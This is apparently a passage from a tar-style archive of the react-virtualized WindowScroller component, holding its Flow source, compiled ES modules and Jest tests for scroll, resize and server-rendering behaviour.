type WindowScrollerProps = {
  serverHeight: number,
  serverWidth: number,
};

const isWindow = element => element === window;

const getBoundingBox = element => element.getBoundingClientRect();

export function getDimensions(
  scrollElement: ?Element,
  props: WindowScrollerProps,
): Dimensions {
  if (!scrollElement) {
    return {
      height: props.serverHeight,
      width: props.serverWidth,
    };
  } else if (isWindow(scrollElement)) {
    const {innerHeight, innerWidth} = window;
    return {
      height: typeof innerHeight === 'number' ? innerHeight : 0,
      width: typeof innerWidth === 'number' ? innerWidth : 0,
    };
  } else {
    return getBoundingBox(scrollElement);
  }
}

/**
 * Gets the vertical and horizontal position of an element within its scroll container.
 * Elements that have been “scrolled past” return negative values.
 * Handles edge-case where a user is navigating back (history) from an already-scrolled page.
 * In this case the body’s top or left position will be a negative number and this element’s top or left will be increased (by that amount).
 */
export function getPositionOffset(element: Element, container: Element) {
  if (isWindow(container) && document.documentElement) {
    const containerElement = document.documentElement;
    const elementRect = getBoundingBox(element);
    const containerRect = getBoundingBox(containerElement);
    return {
      top: elementRect.top - containerRect.top,
      left: elementRect.left - containerRect.left,
    };
  } else {
    const scrollOffset = getScrollOffset(container);
    const elementRect = getBoundingBox(element);
    const containerRect = getBoundingBox(container);
    return {
      top: elementRect.top + scrollOffset.top - containerRect.top,
      left: elementRect.left + scrollOffset.left - containerRect.left,
    };
  }
}

/**
 * Gets the vertical and horizontal scroll amount of the element, accounting for IE compatibility
 * and API differences between `window` and other DOM elements.
 */
export function getScrollOffset(element: Element) {
  if (isWindow(element) && document.documentElement) {
    return {
      top:
        'scrollY' in window
          ? window.scrollY
          : document.documentElement.scrollTop,
      left:
        'scrollX' in window
          ? window.scrollX
          : document.documentElement.scrollLeft,
    };
  } else {
    return {
      top: element.scrollTop,
      left: element.scrollLeft,
    };
  }
}
es/WindowScroller/utils/onScroll.js000064400000004462151677406010013436 0ustar00import { requestAnimationTimeout, cancelAnimationTimeout } from '../../utils/requestAnimationTimeout';
var mountedInstances = [];
var originalBodyPointerEvents = null;
var disablePointerEventsTimeoutId = null;

function enablePointerEventsIfDisabled() {
  if (disablePointerEventsTimeoutId) {
    disablePointerEventsTimeoutId = null;

    if (document.body && originalBodyPointerEvents != null) {
      document.body.style.pointerEvents = originalBodyPointerEvents;
    }

    originalBodyPointerEvents = null;
  }
}

function enablePointerEventsAfterDelayCallback() {
  enablePointerEventsIfDisabled();
  mountedInstances.forEach(function (instance) {
    return instance.__resetIsScrolling();
  });
}

function enablePointerEventsAfterDelay() {
  if (disablePointerEventsTimeoutId) {
    cancelAnimationTimeout(disablePointerEventsTimeoutId);
  }

  var maximumTimeout = 0;
  mountedInstances.forEach(function (instance) {
    maximumTimeout = Math.max(maximumTimeout, instance.props.scrollingResetTimeInterval);
  });
  disablePointerEventsTimeoutId = requestAnimationTimeout(enablePointerEventsAfterDelayCallback, maximumTimeout);
}

function onScrollWindow(event) {
  if (event.currentTarget === window && originalBodyPointerEvents == null && document.body) {
    originalBodyPointerEvents = document.body.style.pointerEvents;
    document.body.style.pointerEvents = 'none';
  }

  enablePointerEventsAfterDelay();
  mountedInstances.forEach(function (instance) {
    if (instance.props.scrollElement === event.currentTarget) {
      instance.__handleWindowScrollEvent();
    }
  });
}

export function registerScrollListener(component, element) {
  if (!mountedInstances.some(function (instance) {
    return instance.props.scrollElement === element;
  })) {
    element.addEventListener('scroll', onScrollWindow);
  }

  mountedInstances.push(component);
}
export function unregisterScrollListener(component, element) {
  mountedInstances = mountedInstances.filter(function (instance) {
    return instance !== component;
  });

  if (!mountedInstances.length) {
    element.removeEventListener('scroll', onScrollWindow);

    if (disablePointerEventsTimeoutId) {
      cancelAnimationTimeout(disablePointerEventsTimeoutId);
      enablePointerEventsIfDisabled();
    }
  }
}
import { bpfrpt_proptype_WindowScroller } from "../WindowScroller.js";es/WindowScroller/utils/onScroll.js.flow000064400000004535151677406010014405 0ustar00// @flow

import {
  requestAnimationTimeout,
  cancelAnimationTimeout,
} from '../../utils/requestAnimationTimeout';
import type WindowScroller from '../WindowScroller.js';

let mountedInstances = [];
let originalBodyPointerEvents = null;
let disablePointerEventsTimeoutId = null;

function enablePointerEventsIfDisabled() {
  if (disablePointerEventsTimeoutId) {
    disablePointerEventsTimeoutId = null;

    if (document.body && originalBodyPointerEvents != null) {
      document.body.style.pointerEvents = originalBodyPointerEvents;
    }

    originalBodyPointerEvents = null;
  }
}

function enablePointerEventsAfterDelayCallback() {
  enablePointerEventsIfDisabled();
  mountedInstances.forEach(instance => instance.__resetIsScrolling());
}

function enablePointerEventsAfterDelay() {
  if (disablePointerEventsTimeoutId) {
    cancelAnimationTimeout(disablePointerEventsTimeoutId);
  }

  var maximumTimeout = 0;
  mountedInstances.forEach(instance => {
    maximumTimeout = Math.max(
      maximumTimeout,
      instance.props.scrollingResetTimeInterval,
    );
  });

  disablePointerEventsTimeoutId = requestAnimationTimeout(
    enablePointerEventsAfterDelayCallback,
    maximumTimeout,
  );
}

function onScrollWindow(event: Event) {
  if (
    event.currentTarget === window &&
    originalBodyPointerEvents == null &&
    document.body
  ) {
    originalBodyPointerEvents = document.body.style.pointerEvents;

    document.body.style.pointerEvents = 'none';
  }
  enablePointerEventsAfterDelay();
  mountedInstances.forEach(instance => {
    if (instance.props.scrollElement === event.currentTarget) {
      instance.__handleWindowScrollEvent();
    }
  });
}

export function registerScrollListener(
  component: WindowScroller,
  element: Element,
) {
  if (
    !mountedInstances.some(instance => instance.props.scrollElement === element)
  ) {
    element.addEventListener('scroll', onScrollWindow);
  }
  mountedInstances.push(component);
}

export function unregisterScrollListener(
  component: WindowScroller,
  element: Element,
) {
  mountedInstances = mountedInstances.filter(
    instance => instance !== component,
  );
  if (!mountedInstances.length) {
    element.removeEventListener('scroll', onScrollWindow);
    if (disablePointerEventsTimeoutId) {
      cancelAnimationTimeout(disablePointerEventsTimeoutId);
      enablePointerEventsIfDisabled();
    }
  }
}
es/WindowScroller/index.js000064400000000230151677406010011577 0ustar00import WindowScroller, { IS_SCROLLING_TIMEOUT } from './WindowScroller';
export default WindowScroller;
export { WindowScroller, IS_SCROLLING_TIMEOUT };es/WindowScroller/WindowScroller.jest.js000064400000044465151677406010014433 0ustar00import _regeneratorRuntime from "@babel/runtime/regenerator";
import _objectWithoutProperties from "@babel/runtime/helpers/objectWithoutProperties";
import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { render } from '../TestUtils';
import WindowScroller, { IS_SCROLLING_TIMEOUT } from './WindowScroller';

function mockGetBoundingClientRectForHeader(_ref) {
  var _ref$documentOffset = _ref.documentOffset,
      documentOffset = _ref$documentOffset === void 0 ? 0 : _ref$documentOffset,
      height = _ref.height,
      width = _ref.width;
  // Mock the WindowScroller element and window separately
  // The only way to mock the former (before its created) is globally
  Element.prototype.getBoundingClientRect = jest.fn(function () {
    return {
      top: height,
      left: width
    };
  });
  document.documentElement.getBoundingClientRect = jest.fn(function () {
    return {
      top: documentOffset,
      left: documentOffset
    };
  });
}

function getMarkup() {
  var _ref2 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
      headerElements = _ref2.headerElements,
      documentOffset = _ref2.documentOffset,
      renderFn = _ref2.renderFn,
      props = _objectWithoutProperties(_ref2, ["headerElements", "documentOffset", "renderFn"]);

  var windowScroller = React.createElement(WindowScroller, props, function (params) {
    return React.createElement("div", null, renderFn && renderFn(params));
  }); // JSDome doesn't implement a working getBoundingClientRect()
  // But WindowScroller requires it

  mockGetBoundingClientRectForHeader({
    documentOffset: documentOffset,
    height: headerElements ? headerElements.props.style.height : 0,
    width: headerElements ? headerElements.props.style.width : 0
  });

  if (headerElements) {
    return React.createElement("div", null, headerElements, windowScroller);
  } else {
    return windowScroller;
  }
}

function simulateWindowScroll(_ref3) {
  var _ref3$scrollX = _ref3.scrollX,
      scrollX = _ref3$scrollX === void 0 ? 0 : _ref3$scrollX,
      _ref3$scrollY = _ref3.scrollY,
      scrollY = _ref3$scrollY === void 0 ? 0 : _ref3$scrollY;
  document.body.style.height = '10000px';
  window.scrollX = scrollX;
  window.scrollY = scrollY;
  document.dispatchEvent(new window.Event('scroll', {
    bubbles: true
  }));
  document.body.style.height = '';
}

function simulateWindowResize(_ref4) {
  var _ref4$height = _ref4.height,
      height = _ref4$height === void 0 ? 0 : _ref4$height,
      _ref4$width = _ref4.width,
      width = _ref4$width === void 0 ? 0 : _ref4$width;
  window.innerHeight = height;
  window.innerWidth = width;
  document.dispatchEvent(new window.Event('resize', {
    bubbles: true
  }));
}

describe('WindowScroller', function () {
  // Set default window height and scroll position between tests
  beforeEach(function () {
    window.scrollY = 0;
    window.scrollX = 0;
    window.innerHeight = 500;
    window.innerWidth = 500;
  }); // Starts updating scrollTop only when the top position is reached

  it('should have correct top and left properties to be defined on :_positionFromTop and :_positionFromLeft', function () {
    var component = render(getMarkup());
    var rendered = findDOMNode(component);

    var _rendered$getBounding = rendered.getBoundingClientRect(),
        top = _rendered$getBounding.top,
        left = _rendered$getBounding.left;

    expect(component._positionFromTop).toEqual(top);
    expect(component._positionFromLeft).toEqual(left);
  });
  it('should allow passing child element with registerChild of children function param', function () {
    var scrollElement = document.createElement('div');
    scrollElement.scrollTop = 100;
    scrollElement.scrollLeft = 150;

    scrollElement.getBoundingClientRect = function () {
      return {
        top: 200,
        left: 250
      };
    };

    var child = document.createElement('div');

    child.getBoundingClientRect = function () {
      return {
        top: 300,
        left: 350
      };
    };

    var renderFn = jest.fn();
    var component = render(getMarkup({
      scrollElement: scrollElement,
      renderFn: renderFn
    }));
    renderFn.mock.calls[0][0].registerChild(child);
    expect(component._positionFromTop).toEqual(300 + 100 - 200);
    expect(component._positionFromLeft).toEqual(350 + 150 - 250);
  });
  it('should warn on passing non-element or not null', function () {
    var warnFn = jest.spyOn(console, 'warn');
    var renderFn = jest.fn();
    render(getMarkup({
      renderFn: renderFn
    }));
    renderFn.mock.calls[0][0].registerChild(1);
    renderFn.mock.calls[0][0].registerChild(document.createElement('div'));
    renderFn.mock.calls[0][0].registerChild(null);
    expect(warnFn).toHaveBeenCalledTimes(1);
    warnFn.mockRestore();
  }); // Test edge-case reported in bvaughn/react-virtualized/pull/346

  it('should have correct top and left properties to be defined on :_positionFromTop and :_positionFromLeft if documentElement is scrolled', function () {
    render.unmount(); // Simulate scrolled documentElement

    var component = render(getMarkup({
      documentOffset: -100
    }));
    var rendered = findDOMNode(component);

    var _rendered$getBounding2 = rendered.getBoundingClientRect(),
        top = _rendered$getBounding2.top,
        left = _rendered$getBounding2.left;

    expect(component._positionFromTop).toEqual(top + 100);
    expect(component._positionFromLeft).toEqual(left + 100); // Reset override

    delete document.documentElement.getBoundingClientRect;
  });
  it('inherits the window height and passes it to child component', function () {
    var renderFn = jest.fn();
    var component = render(getMarkup({
      renderFn: renderFn
    }));
    expect(component.state.height).toEqual(window.innerHeight);
    expect(component.state.height).toEqual(500);
    expect(renderFn).lastCalledWith(expect.objectContaining({
      height: 500
    }));
  });
  it('should restore pointerEvents on body after IS_SCROLLING_TIMEOUT', function _callee() {
    return _regeneratorRuntime.async(function _callee$(_context) {
      while (1) {
        switch (_context.prev = _context.next) {
          case 0:
            render(getMarkup());
            document.body.style.pointerEvents = 'all';
            simulateWindowScroll({
              scrollY: 5000
            });
            expect(document.body.style.pointerEvents).toEqual('none');
            _context.next = 6;
            return _regeneratorRuntime.awrap(new Promise(function (resolve) {
              return setTimeout(resolve, IS_SCROLLING_TIMEOUT + 100);
            }));

          case 6:
            expect(document.body.style.pointerEvents).toEqual('all');

          case 7:
          case "end":
            return _context.stop();
        }
      }
    });
  });
  it('should restore pointerEvents on body after unmount', function () {
    render(getMarkup());
    document.body.style.pointerEvents = 'all';
    simulateWindowScroll({
      scrollY: 5000
    });
    expect(document.body.style.pointerEvents).toEqual('none');
    render.unmount();
    expect(document.body.style.pointerEvents).toEqual('all');
  });
  describe('onScroll', function () {
    it('should trigger callback when window scrolls', function _callee2() {
      var onScroll;
      return _regeneratorRuntime.async(function _callee2$(_context2) {
        while (1) {
          switch (_context2.prev = _context2.next) {
            case 0:
              onScroll = jest.fn();
              render(getMarkup({
                onScroll: onScroll
              }));
              simulateWindowScroll({
                scrollY: 5000
              }); // Allow scrolling timeout to complete so that the component computes state

              _context2.next = 5;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 150);
              }));

            case 5:
              expect(onScroll).toHaveBeenCalledWith({
                scrollLeft: 0,
                scrollTop: 5000
              });
              simulateWindowScroll({
                scrollX: 2500,
                scrollY: 5000
              }); // Allow scrolling timeout to complete so that the component computes state

              _context2.next = 9;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 150);
              }));

            case 9:
              expect(onScroll).toHaveBeenCalledWith({
                scrollLeft: 2500,
                scrollTop: 5000
              });

            case 10:
            case "end":
              return _context2.stop();
          }
        }
      });
    });
    it('should update :scrollTop when window is scrolled', function _callee3() {
      var renderFn, component, componentScrollTop;
      return _regeneratorRuntime.async(function _callee3$(_context3) {
        while (1) {
          switch (_context3.prev = _context3.next) {
            case 0:
              renderFn = jest.fn();
              component = render(getMarkup({
                renderFn: renderFn
              })); // Initial load of the component should have 0 scrollTop

              expect(renderFn).lastCalledWith(expect.objectContaining({
                scrollTop: 0
              }));
              simulateWindowScroll({
                scrollY: 5000
              }); // Allow scrolling timeout to complete so that the component computes state

              _context3.next = 6;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 150);
              }));

            case 6:
              componentScrollTop = window.scrollY - component._positionFromTop;
              expect(component.state.scrollTop).toEqual(componentScrollTop);
              expect(renderFn).lastCalledWith(expect.objectContaining({
                scrollTop: componentScrollTop
              }));

            case 9:
            case "end":
              return _context3.stop();
          }
        }
      });
    });
    it('should specify :isScrolling when scrolling and reset after scrolling', function _callee4() {
      var renderFn;
      return _regeneratorRuntime.async(function _callee4$(_context4) {
        while (1) {
          switch (_context4.prev = _context4.next) {
            case 0:
              renderFn = jest.fn();
              render(getMarkup({
                renderFn: renderFn
              }));
              simulateWindowScroll({
                scrollY: 5000
              });
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: true
              }));
              _context4.next = 6;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 250);
              }));

            case 6:
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: false
              }));

            case 7:
            case "end":
              return _context4.stop();
          }
        }
      });
    });
    it('should support a custom :scrollingResetTimeInterval prop', function _callee5() {
      var renderFn;
      return _regeneratorRuntime.async(function _callee5$(_context5) {
        while (1) {
          switch (_context5.prev = _context5.next) {
            case 0:
              renderFn = jest.fn();
              render(getMarkup({
                scrollingResetTimeInterval: 500,
                renderFn: renderFn
              }));
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: false
              }));
              simulateWindowScroll({
                scrollY: 5000
              });
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: true
              }));
              _context5.next = 7;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 100);
              }));

            case 7:
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: true
              }));
              _context5.next = 10;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 100);
              }));

            case 10:
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: true
              }));
              _context5.next = 13;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 400);
              }));

            case 13:
              expect(renderFn).lastCalledWith(expect.objectContaining({
                isScrolling: false
              }));

            case 14:
            case "end":
              return _context5.stop();
          }
        }
      });
    });
  });
  describe('onResize', function () {
    it('should trigger callback on init and when window resizes', function () {
      var resizeFn = jest.fn();
      render(getMarkup({
        onResize: resizeFn
      }));
      simulateWindowResize({
        height: 1000,
        width: 1024
      });
      expect(resizeFn).toHaveBeenCalledTimes(1);
      expect(resizeFn).lastCalledWith({
        height: 1000,
        width: 1024
      });
    });
    it('should update height when window resizes', function () {
      var renderFn = jest.fn();
      var component = render(getMarkup({
        renderFn: renderFn
      })); // Initial load of the component should have the same window height = 500

      expect(component.state.height).toEqual(window.innerHeight);
      expect(component.state.height).toEqual(500);
      expect(renderFn).lastCalledWith(expect.objectContaining({
        height: 500
      }));
      simulateWindowResize({
        height: 1000
      });
      expect(component.state.height).toEqual(window.innerHeight);
      expect(component.state.height).toEqual(1000);
      expect(renderFn).lastCalledWith(expect.objectContaining({
        height: 1000
      }));
    });
  });
  describe('updatePosition', function () {
    it('should calculate the initial offset from the top of the page when mounted', function () {
      var windowScroller;
      render(getMarkup({
        headerElements: React.createElement("div", {
          style: {
            height: 100
          }
        }),
        ref: function ref(_ref5) {
          windowScroller = _ref5;
        }
      }));
      expect(windowScroller._positionFromTop).toBe(100);
    });
    it('should recalculate the offset from the top when the window resizes', function () {
      var windowScroller;
      render(getMarkup({
        headerElements: React.createElement("div", {
          id: "header",
          style: {
            height: 100,
            width: 150
          }
        }),
        ref: function ref(_ref6) {
          windowScroller = _ref6;
        }
      }));
      expect(windowScroller._positionFromTop).toBe(100);
      expect(windowScroller._positionFromLeft).toBe(150);
      mockGetBoundingClientRectForHeader({
        height: 200,
        width: 300
      });
      expect(windowScroller._positionFromTop).toBe(100);
      expect(windowScroller._positionFromLeft).toBe(150);
      simulateWindowResize({
        height: 1000,
        width: 1000
      });
      expect(windowScroller._positionFromTop).toBe(200);
      expect(windowScroller._positionFromLeft).toBe(300);
    });
    it('should recalculate the offset from the top if called externally', function () {
      var windowScroller;
      render(getMarkup({
        headerElements: React.createElement("div", {
          id: "header",
          style: {
            height: 100,
            width: 150
          }
        }),
        ref: function ref(_ref7) {
          windowScroller = _ref7;
        }
      }));
      expect(windowScroller._positionFromTop).toBe(100);
      expect(windowScroller._positionFromLeft).toBe(150);
      mockGetBoundingClientRectForHeader({
        height: 200,
        width: 300
      });
      windowScroller.updatePosition();
      expect(windowScroller._positionFromTop).toBe(200);
      expect(windowScroller._positionFromLeft).toBe(300);
    });
  });
  describe('when child scrolls', function () {
    var originalScrollTo;
    beforeEach(function () {
      originalScrollTo = window.scrollTo;

      window.scrollTo = function (scrollX, scrollY) {
        return simulateWindowScroll({
          scrollX: scrollX,
          scrollY: scrollY
        });
      };
    });
    afterEach(function () {
      window.scrollTo = originalScrollTo;
      render.unmount();
    });
    it('should scroll the scrollElement (when it is window) the desired amount', function () {
      var renderFn = jest.fn();
      var windowScroller;
      render(getMarkup({
        ref: function ref(_ref8) {
          windowScroller = _ref8;
        },
        renderFn: renderFn
      }));
      renderFn.mock.calls[0][0].onChildScroll({
        scrollTop: 200
      });
      expect(window.scrollY).toEqual(200 + windowScroller._positionFromTop);
    });
    it('should not scroll the scrollElement if trying to scroll to where we already are', function () {
      var renderFn = jest.fn();
      render(getMarkup({
        renderFn: renderFn
      }));
      simulateWindowScroll({
        scrollY: 200
      });
      window.scrollTo = jest.fn();
      renderFn.mock.calls[0][0].onChildScroll({
        scrollTop: 200
      });
      expect(window.scrollTo).not.toHaveBeenCalled();
    });
    it('should scroll the scrollElement (when it is an element) the desired amount', function () {
      var windowScroller;
      var renderFn = jest.fn();
      var divEl = document.createElement('div');
      render(getMarkup({
        ref: function ref(_ref9) {
          windowScroller = _ref9;
        },
        renderFn: renderFn,
        scrollElement: divEl
      }));
      renderFn.mock.calls[0][0].onChildScroll({
        scrollTop: 200
      });
      expect(divEl.scrollTop).toEqual(200 + windowScroller._positionFromTop);
    });
    it('should update own scrollTop', function () {
      var renderFn = jest.fn();
      render(getMarkup({
        renderFn: renderFn
      }));
      renderFn.mock.calls[0][0].onChildScroll({
        scrollTop: 200
      });
      expect(renderFn).lastCalledWith(expect.objectContaining({
        scrollTop: 200
      }));
    });
  });
});es/WindowScroller/WindowScroller.ssr.js000064400000001216151677406010014260 0ustar00/**
 * @jest-environment node
 */
import * as React from 'react';
import * as ReactDOMServer from 'react-dom/server';
import WindowScroller from './WindowScroller';
test('should render content with default widths and heights initially', function () {
  var rendered = ReactDOMServer.renderToString(React.createElement(WindowScroller, {
    serverHeight: 100,
    serverWidth: 200
  }, function (_ref) {
    var height = _ref.height,
        width = _ref.width;
    return React.createElement("div", null, "height:".concat(height, ";width:").concat(width));
  }));
  expect(rendered).toContain('height:100');
  expect(rendered).toContain('width:200');
});es/WindowScroller/WindowScroller.js000064400000024100151677406010013447 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

var _class, _temp;

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import * as React from 'react';
import * as ReactDOM from 'react-dom';
import { registerScrollListener, unregisterScrollListener } from './utils/onScroll';
import { getDimensions, getPositionOffset, getScrollOffset } from './utils/dimensions';
import createDetectElementResize from '../vendor/detectElementResize';

/**
 * Specifies the number of miliseconds during which to disable pointer events while a scroll is in progress.
 * This improves performance and makes scrolling smoother.
 */
export var IS_SCROLLING_TIMEOUT = 150;

var getWindow = function getWindow() {
  return typeof window !== 'undefined' ? window : undefined;
};

var WindowScroller = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(WindowScroller, _React$PureComponent);

  function WindowScroller() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, WindowScroller);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(WindowScroller)).call.apply(_getPrototypeOf2, [this].concat(args)));

    _defineProperty(_assertThisInitialized(_this), "_window", getWindow());

    _defineProperty(_assertThisInitialized(_this), "_isMounted", false);

    _defineProperty(_assertThisInitialized(_this), "_positionFromTop", 0);

    _defineProperty(_assertThisInitialized(_this), "_positionFromLeft", 0);

    _defineProperty(_assertThisInitialized(_this), "_detectElementResize", void 0);

    _defineProperty(_assertThisInitialized(_this), "_child", void 0);

    _defineProperty(_assertThisInitialized(_this), "state", _objectSpread({}, getDimensions(_this.props.scrollElement, _this.props), {
      isScrolling: false,
      scrollLeft: 0,
      scrollTop: 0
    }));

    _defineProperty(_assertThisInitialized(_this), "_registerChild", function (element) {
      if (element && !(element instanceof Element)) {
        console.warn('WindowScroller registerChild expects to be passed Element or null');
      }

      _this._child = element;

      _this.updatePosition();
    });

    _defineProperty(_assertThisInitialized(_this), "_onChildScroll", function (_ref) {
      var scrollTop = _ref.scrollTop;

      if (_this.state.scrollTop === scrollTop) {
        return;
      }

      var scrollElement = _this.props.scrollElement;

      if (scrollElement) {
        if (typeof scrollElement.scrollTo === 'function') {
          scrollElement.scrollTo(0, scrollTop + _this._positionFromTop);
        } else {
          scrollElement.scrollTop = scrollTop + _this._positionFromTop;
        }
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_registerResizeListener", function (element) {
      if (element === window) {
        window.addEventListener('resize', _this._onResize, false);
      } else {
        _this._detectElementResize.addResizeListener(element, _this._onResize);
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_unregisterResizeListener", function (element) {
      if (element === window) {
        window.removeEventListener('resize', _this._onResize, false);
      } else if (element) {
        _this._detectElementResize.removeResizeListener(element, _this._onResize);
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_onResize", function () {
      _this.updatePosition();
    });

    _defineProperty(_assertThisInitialized(_this), "__handleWindowScrollEvent", function () {
      if (!_this._isMounted) {
        return;
      }

      var onScroll = _this.props.onScroll;
      var scrollElement = _this.props.scrollElement;

      if (scrollElement) {
        var scrollOffset = getScrollOffset(scrollElement);
        var scrollLeft = Math.max(0, scrollOffset.left - _this._positionFromLeft);
        var scrollTop = Math.max(0, scrollOffset.top - _this._positionFromTop);

        _this.setState({
          isScrolling: true,
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        });

        onScroll({
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        });
      }
    });

    _defineProperty(_assertThisInitialized(_this), "__resetIsScrolling", function () {
      _this.setState({
        isScrolling: false
      });
    });

    return _this;
  }

  _createClass(WindowScroller, [{
    key: "updatePosition",
    value: function updatePosition() {
      var scrollElement = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props.scrollElement;
      var onResize = this.props.onResize;
      var _this$state = this.state,
          height = _this$state.height,
          width = _this$state.width;
      var thisNode = this._child || ReactDOM.findDOMNode(this);

      if (thisNode instanceof Element && scrollElement) {
        var offset = getPositionOffset(thisNode, scrollElement);
        this._positionFromTop = offset.top;
        this._positionFromLeft = offset.left;
      }

      var dimensions = getDimensions(scrollElement, this.props);

      if (height !== dimensions.height || width !== dimensions.width) {
        this.setState({
          height: dimensions.height,
          width: dimensions.width
        });
        onResize({
          height: dimensions.height,
          width: dimensions.width
        });
      }
    }
  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      var scrollElement = this.props.scrollElement;
      this._detectElementResize = createDetectElementResize();
      this.updatePosition(scrollElement);

      if (scrollElement) {
        registerScrollListener(this, scrollElement);

        this._registerResizeListener(scrollElement);
      }

      this._isMounted = true;
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate(prevProps, prevState) {
      var scrollElement = this.props.scrollElement;
      var prevScrollElement = prevProps.scrollElement;

      if (prevScrollElement !== scrollElement && prevScrollElement != null && scrollElement != null) {
        this.updatePosition(scrollElement);
        unregisterScrollListener(this, prevScrollElement);
        registerScrollListener(this, scrollElement);

        this._unregisterResizeListener(prevScrollElement);

        this._registerResizeListener(scrollElement);
      }
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      var scrollElement = this.props.scrollElement;

      if (scrollElement) {
        unregisterScrollListener(this, scrollElement);

        this._unregisterResizeListener(scrollElement);
      }

      this._isMounted = false;
    }
  }, {
    key: "render",
    value: function render() {
      var children = this.props.children;
      var _this$state2 = this.state,
          isScrolling = _this$state2.isScrolling,
          scrollTop = _this$state2.scrollTop,
          scrollLeft = _this$state2.scrollLeft,
          height = _this$state2.height,
          width = _this$state2.width;
      return children({
        onChildScroll: this._onChildScroll,
        registerChild: this._registerChild,
        height: height,
        isScrolling: isScrolling,
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        width: width
      });
    }
  }]);

  return WindowScroller;
}(React.PureComponent), _defineProperty(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  /**
   * Function responsible for rendering children.
   * This function should implement the following signature:
   * ({ height, isScrolling, scrollLeft, scrollTop, width }) => PropTypes.element
   */
  "children": PropTypes.func.isRequired,

  /** Callback to be invoked on-resize: ({ height, width }) */
  "onResize": PropTypes.func.isRequired,

  /** Callback to be invoked on-scroll: ({ scrollLeft, scrollTop }) */
  "onScroll": PropTypes.func.isRequired,

  /** Element to attach scroll event listeners. Defaults to window. */
  "scrollElement": PropTypes.oneOfType([PropTypes.any, function () {
    return (typeof Element === "function" ? PropTypes.instanceOf(Element) : PropTypes.any).apply(this, arguments);
  }]),

  /**
   * Wait this amount of time after the last scroll event before resetting child `pointer-events`.
   */
  "scrollingResetTimeInterval": PropTypes.number.isRequired,

  /** Height used for server-side rendering */
  "serverHeight": PropTypes.number.isRequired,

  /** Width used for server-side rendering */
  "serverWidth": PropTypes.number.isRequired
}), _temp);

_defineProperty(WindowScroller, "defaultProps", {
  onResize: function onResize() {},
  onScroll: function onScroll() {},
  scrollingResetTimeInterval: IS_SCROLLING_TIMEOUT,
  scrollElement: getWindow(),
  serverHeight: 0,
  serverWidth: 0
});

export { WindowScroller as default };
import PropTypes from "prop-types";es/WindowScroller/WindowScroller.js.flow000064400000015352151677406010014426 0ustar00// @flow

import * as React from 'react';
import * as ReactDOM from 'react-dom';
import {
  registerScrollListener,
  unregisterScrollListener,
} from './utils/onScroll';
import {
  getDimensions,
  getPositionOffset,
  getScrollOffset,
} from './utils/dimensions';
import createDetectElementResize from '../vendor/detectElementResize';

type Props = {
  /**
   * Function responsible for rendering children.
   * This function should implement the following signature:
   * ({ height, isScrolling, scrollLeft, scrollTop, width }) => PropTypes.element
   */
  children: ({
    onChildScroll: ({scrollTop: number}) => void,
    registerChild: (?Element) => void,
    height: number,
    isScrolling: boolean,
    scrollLeft: number,
    scrollTop: number,
    width: number,
  }) => React.Node,

  /** Callback to be invoked on-resize: ({ height, width }) */
  onResize: ({height: number, width: number}) => void,

  /** Callback to be invoked on-scroll: ({ scrollLeft, scrollTop }) */
  onScroll: ({scrollLeft: number, scrollTop: number}) => void,

  /** Element to attach scroll event listeners. Defaults to window. */
  scrollElement: ?(typeof window | Element),
  /**
   * Wait this amount of time after the last scroll event before resetting child `pointer-events`.
   */
  scrollingResetTimeInterval: number,

  /** Height used for server-side rendering */
  serverHeight: number,

  /** Width used for server-side rendering */
  serverWidth: number,
};

type State = {
  height: number,
  width: number,
